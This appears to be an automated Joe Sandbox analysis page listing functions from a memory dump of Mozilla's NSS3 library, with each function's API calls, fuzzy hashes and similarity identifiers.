Opcode Fuzzy Hash: b1d41f80c0e578ece9e30889c05752a404ecb7437a547c40666b4bcbffc8e393
Instruction Fuzzy Hash: C3312B75A002095FEB01DFAADD55BDFB3B8FF45358F080235EC15A7B81DB35A9048691

Function 6C6ADDE0 Relevance: 6.1, APIs: 4, Instructions: 86memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADDF4

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaAlloc_Util.NSS3(?,00000054,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADE0B
PORT_Alloc_Util.NSS3(00000054,?,00000000,00000000,?,?,6C6ADDB1,?,00000000), ref: 6C6ADE17

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

PR_SetError.NSS3(FFFFE009,00000000), ref: 6C6ADE80

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 0c780908c466536dd9534d5c588b753a4bcc7aa869dc61ef339ee04ba1019dcb
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 7231B6B19017429BE700CF56D880692F7E4FFA5318B24C229DC1D87B41E771F9A6CB94

Function 6C69FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C675ADC,?,00000000,00000001,?,?,00000000,?,6C66BA55,?,?), ref: 6C69FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C69FE5F
PR_Unlock.NSS3(78831D74), ref: 6C69FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C69FED6

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 2dd075d1c5ffaad6ad0720f267aa1a3ac66f57d9e5e7d788f69e474c36fb30c5
Instruction ID: 83c8d128666619684e21d0b890191e3c085b78aa86dbf18d7be79b70081536c4
Opcode Fuzzy Hash: 2dd075d1c5ffaad6ad0720f267aa1a3ac66f57d9e5e7d788f69e474c36fb30c5
Instruction Fuzzy Hash: 22212331A00626BBDB109F65E844BAA73B4FF05358F1A0134ED04A7E42E731E965CBDA

Function 6C6A3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A3440: PK11_GetAllTokens.NSS3 ref: 6C6A3481
Part of subcall function 6C6A3440: PR_SetError.NSS3(00000000,00000000), ref: 6C6A34A3
Part of subcall function 6C6A3440: TlsGetValue.KERNEL32 ref: 6C6A352E
Part of subcall function 6C6A3440: EnterCriticalSection.KERNEL32(?), ref: 6C6A3542
Part of subcall function 6C6A3440: PR_Unlock.NSS3(?), ref: 6C6A355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FFE
PR_SetError.NSS3 ref: 6C6A401A

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 58146ef879b604cceef92ff20699bd66c85086a751fc7c96a253e5e3603f5f2b
Instruction ID: ac442ebf1e6d5198cc2d2af51020ab2fa5031f457a3815c022b71a7e7adbede8
Opcode Fuzzy Hash: 58146ef879b604cceef92ff20699bd66c85086a751fc7c96a253e5e3603f5f2b
Instruction Fuzzy Hash: 673180705047048FD700AFAAD5846AEBBF0FF89354F11592ED98987B00EB70E885CB9A

Function 6C694FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C695003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C69501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C69504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C695064

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 095e995494cad1d855c57e68eaf07b84dfb43f7a967a2ca83ba45a4cb9be3774
Instruction ID: 89d850ee75987e8177842cf50450b4f4b27b73f9720fba99185998acb81b7894
Opcode Fuzzy Hash: 095e995494cad1d855c57e68eaf07b84dfb43f7a967a2ca83ba45a4cb9be3774
Instruction Fuzzy Hash: DB3127B0A05606DFDB00EF68C484A6ABBF4FF09345F118669E859D7700E731E890CB95

Function 6C6B9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C6BA71A,FFFFFFFF,?,?), ref: 6C6B9FAB

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6C6BA71A,6C6BA71A,00000000), ref: 6C6B9FD9

Part of subcall function 6C6B1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B136A
Part of subcall function 6C6B1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B137E
Part of subcall function 6C6B1340: PL_ArenaGrow.NSS3(?,6C64F599,?,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?), ref: 6C6B13CF
Part of subcall function 6C6B1340: PR_Unlock.NSS3(?,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C6BA71A,6C6BA71A,00000000), ref: 6C6BA009
PR_SetError.NSS3(FFFFE013,00000000,6C6BA71A,6C6BA71A,00000000), ref: 6C6BA045

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 73f1f97476c8ea0932abe1c620dde10c51f275a44536d345374d98b861648c8c
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 6521C6B4600206ABF7009F15DC50F66B7A9FF9535CF10C128D82997B82FB76E828CB94

Function 6C6C2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C2E08

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C6C2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C6C2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6C2E95

Part of subcall function 6C6B1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B1228
Part of subcall function 6C6B1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C6B1238
Part of subcall function 6C6B1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B124B
Part of subcall function 6C6B1200: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0,00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B125D
Part of subcall function 6C6B1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C6B126F
Part of subcall function 6C6B1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C6B1280
Part of subcall function 6C6B1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C6B128E
Part of subcall function 6C6B1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C6B129A
Part of subcall function 6C6B1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6B12A1

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: a51d854b2c2187627cc4bf75380a88774b15328c879bb4e2fa4f2b81387d0eaa
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: F621D4B1E003455BE700CF549D44BAA3764AF9630CF111269DD087B752F7B1E69983AA

Function 6C691870 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6918A6
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,6C676C34,?,?,00000001,00000000,00000007,?), ref: 6C6918B6
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C676C34,?,?), ref: 6C6918E1
PR_SetError.NSS3(00000000,00000000), ref: 6C6918F9

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 2d9068b70bf8d37eebd354e2165c2cd33ba3c0a8ca01577dd6bd353b12894954
Instruction ID: d92b370162aa83d54dbcbe3d501423d2bc013b3c6497a9a6fffc4f2b201870dc
Opcode Fuzzy Hash: 2d9068b70bf8d37eebd354e2165c2cd33ba3c0a8ca01577dd6bd353b12894954
Instruction Fuzzy Hash: D021B071E00219ABDB00AF68DC55AEE7B78FF0A318F540168ED1557701EB35A928CBE5

Function 6C67ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C67ACC2

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

Part of subcall function 6C652AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C650A1B,00000000), ref: 6C652AF0
Part of subcall function 6C652AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C652B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C67AD5E

Part of subcall function 6C6957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C65B41E,00000000,00000000,?,00000000,?,6C65B41E,00000000,00000000,00000001,?), ref: 6C6957E0
Part of subcall function 6C6957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C695843

CERT_DestroyCertList.NSS3(?), ref: 6C67AD36

Part of subcall function 6C652F50: CERT_DestroyCertificate.NSS3(?), ref: 6C652F65
Part of subcall function 6C652F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C652F83

free.MOZGLUE(?), ref: 6C67AD4F

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: c316fa99c2415fe033c095782c5021dee481ffc4e23ef2823e67bd9a7e5904a3
Instruction ID: 1291df39e8fb8ef07b23470c6e9bc4e18b6918a77df3a0da5a3ecec13f47f094
Opcode Fuzzy Hash: c316fa99c2415fe033c095782c5021dee481ffc4e23ef2823e67bd9a7e5904a3
Instruction Fuzzy Hash: 9821A4B1D002048BEB20DFA4D9055EE77B4AF05248F555469D8057B701F731EA55CBB9

Function 6C6A3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6A3C9E
EnterCriticalSection.KERNEL32(?), ref: 6C6A3CAE
PR_Unlock.NSS3(?), ref: 6C6A3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3D02

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: eeafdf77f9c58dfbf84d2afb9d765af74ca40c38df2b094f0118fd0564eb16da
Instruction ID: de8aee1d72a422ec2ef46b8842cf72c5222f5ebe1cf775f2137b5d49cc9c3c51
Opcode Fuzzy Hash: eeafdf77f9c58dfbf84d2afb9d765af74ca40c38df2b094f0118fd0564eb16da
Instruction Fuzzy Hash: 3411B475A00204AFD700AF64DC48E9A37B9EF0A368F154074ED058B712E731ED55CBE5

Function 6C6AECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C6AF0AD,6C6AF150,?,6C6AF150,?,?,?), ref: 6C6AECBA

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C6AECD1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C6AED02

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C6AED5A

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 76dde72ef65d2d73a85da6562e265c10ea3bb2b4ad39952e19a0229eff78b9b9
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: D321D4B1A007425BE700DF25D944B52B7E4BFA5308F15C215E81C87661FB70E9A5C7E8

Function 6C67C860 Relevance: 6.1, APIs: 4, Instructions: 64threadCOMMON

Download Yara Rule

APIs

PK11_IsLoggedIn.NSS3(?,?), ref: 6C67C890

Part of subcall function 6C678F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FAF
Part of subcall function 6C678F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FD1
Part of subcall function 6C678F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C678FFA
Part of subcall function 6C678F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679013
Part of subcall function 6C678F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679042
Part of subcall function 6C678F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C67905A
Part of subcall function 6C678F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C679073
Part of subcall function 6C678F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C66DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C679111

PR_GetCurrentThread.NSS3 ref: 6C67C8B2

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C67C8D0
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67C8EB

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_Value$CriticalEnterSectionUnlock$AuthenticateCurrentInternalItem_LoggedSlotThreadUtilZfree
String ID:
API String ID: 999015661-0
Opcode ID: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction ID: 7d0028efb9231d4b9fc36f0d45b261afb182516d63cd1934b942d5fdec37225c
Opcode Fuzzy Hash: 477a7ae121ca17423d818f87d30b67f1952193dc40be73abf14df5b980759708
Instruction Fuzzy Hash: ED010C66E011107BD72027B59C80AFF3E689F4635CF040935FD05A6B11F361881993FA

Function 6C6DEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEE14

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

memcpy.VCRUNTIME140(?,?,6C6C9767,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEE33

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
